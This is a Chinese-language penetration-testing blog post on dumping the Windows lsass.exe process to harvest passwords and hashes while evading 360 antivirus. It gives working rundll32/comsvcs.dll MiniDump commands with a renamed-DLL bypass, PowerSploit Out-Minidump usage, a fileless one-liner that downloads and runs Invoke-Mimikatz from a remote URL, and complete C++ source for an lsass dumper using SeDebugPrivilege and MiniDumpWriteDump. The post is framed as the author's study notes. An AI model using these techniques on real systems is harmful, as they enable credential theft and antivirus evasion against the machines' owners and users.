几种免杀转储lsass进程的技巧
在内网渗透进行横向移动和权限提升时,最常用的方法是通过dump进程lsass.exe,从中获得明文口令或者hash。lsass.exe(Local Security Authority Subsystem Service)是一个系统进程,用于微软Windows系统的安全机制,它用于本地安全和登陆策略。在进程空间中,存有着机器的域、本地用户名和密码等重要信息。但是需要首先获得一个高的权限才能对其进行访问。
在存在杀软防护的情况下,要想转储lsass进程,我首先想到的是procdump+Mimikatz 的方式来绕过杀软,因为Procdump工具是微软自家的,不会引起报毒。但是我在实际测试中发现,这种思路还是会被360安全卫士拦截。
下面几个分享几个我学习到的绕过杀软转储lsass方式,目前亲测可过360安全卫士,别的杀软我还没有具体测试。下边分享的代码和工具虽然多种多样,但是本质上都是用到了debugprivilege和MiniDump。杀软对API的监控不严格导致出现了安全问题。
使用系统内置功能绕过杀软
comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。
在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态
如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话,由于无法开启SeDebugPrivilege权限,会dump失败。
解决方式:
管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为已启用。
首先查看lsass.exe进程PID:
tasklist | findstr lsass.exe
命令格式:
rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full
此处为:
rundll32.exe comsvcs.dll MiniDump 508 c:\windows\temp full
直接运行会被拦截:
简单的绕过思路:
copy一下comsvcs.dll并命名为随意名字,例如test.dll
copy C:\windows\System32\comsvcs.dll test.dll
rundll32.exe test.dll, MiniDump 508 lsass.dmp full
成功转储了lsass
下载到本地解密。这里有个坑点
我下载到本地后,解密失败。一开始以为保存的时候没有保存全,又试了几次还是没有解密。
经过查询资料得知,是新版的mimikatz和win10 1809版本之间的问题导致解密失败。详见https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354
换用mimikatz 1809版就好了。
成功解密。
powershell脚本
Out-MiniDump.ps1
使用PowerSploit 的Out-MiniDump模块,PowerSploit是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。工具连接:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
Import-Module Out-MiniDump
导入
Get-Process lsass | Out-Minidump
执行
解密
使用ps版mimikatz
工具地址:https://github.com/fir3d0g/mimidogz
在执行powershell脚本的时候,常常采用
powershell "IEX (New-Object Net.WebClient).DownloadString ('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
远程加载的方式,达到文件不落地来更好的规避检测的目的,但是如果目标机器网络环境不允许的话,那就直接把ps1上传到目标机器来运行。
应用程序
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
using namespace std;
#define INFO_BUFFER_SIZE 32767
std::wstring s2ws(const std::string& s)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限
{
CloseHandle(hToken);
return false;
}
return true;
}
int main() {
char filename[INFO_BUFFER_SIZE];
char infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetComputerNameA(infoBuf, &bufCharCount);
strcpy_s(filename, infoBuf);
strcat_s(filename, "-");
strcat_s(filename, "lsass.dmp");
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {}; // 拍摄快照时驻留在系统地址空间里的进程列表结构体
processEntry.dwSize = sizeof(PROCESSENTRY32); //结构大小
LPCWSTR processName = L""; //进程名
if (Process32First(snapshot, &processEntry)) { //检索快照中第一个进程的信息
while (_wcsicmp(processName, L"lsass.exe") != 0) { //循环检索快照中的进程
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile; // 获取当前进程的进程名
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
if (EnableDebugPrivilege() == false)
{
printf("enable %d", GetLastError());
}
EnableDebugPrivilege();
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程,获取句柄
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储lsass,写入outfile
if (isDumped) {
cout << "[+] Save To " << filename << endl;
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
上边的代码来源是吐司https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1
是我学习此知识点过程中遇到的考虑最完善的代码,他的代码相比较其他师傅的代码考虑了更多情况,比如说为了避免权限不足打不开lsass进程而导致dmp文件为空的情况,新增了提权函数加以验证。
程序运行分为以下几步:
1.提升权限。因为lsass进程的权限为system权限,所以想要对其操作首先要提升自身进程权限为debug权限。
2.对所有进程拍摄快照,然后循环检索lsass进程id
3.将lsass内存的快照进行转储,并写入文件
将代码编译成exe,运行看一下效果
成功转储。
放到装有360安全卫士的目标机器上运行,目标机器为win 2008 R2 64位系统
运行提示缺少dll,下载对应dll移动到c:/windows/system32目录下
重新运行exe程序
成功转储。
使用mimikatz解密成功。
我在学习过程中,习惯用多个方法来解决一个问题。一是没有那种万能方法,能为我通杀所有的环境,同问题不多考虑几种方法的话,我本身会觉得比较虚;二是也趁着对同知识点学习的惯性,多手法之间能够融会贯通一下,免得在学同类型知识点就忘了以前是咋回事了。前人栽树,后人乘凉。本文是在学习师傅们思路手法的基础上,形成的一篇总结性的文章,在自己记录的同时,希望能帮到其他人。
参考链接:
https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1
https://mp.weixin.qq.com/s/IA42D6hjvk4Bld65Wahuag
https://_thorns.gitbooks.io/sec/content/powershell.html
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=2
https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf
https://www.t00ls.net/thread-62435-1-1.html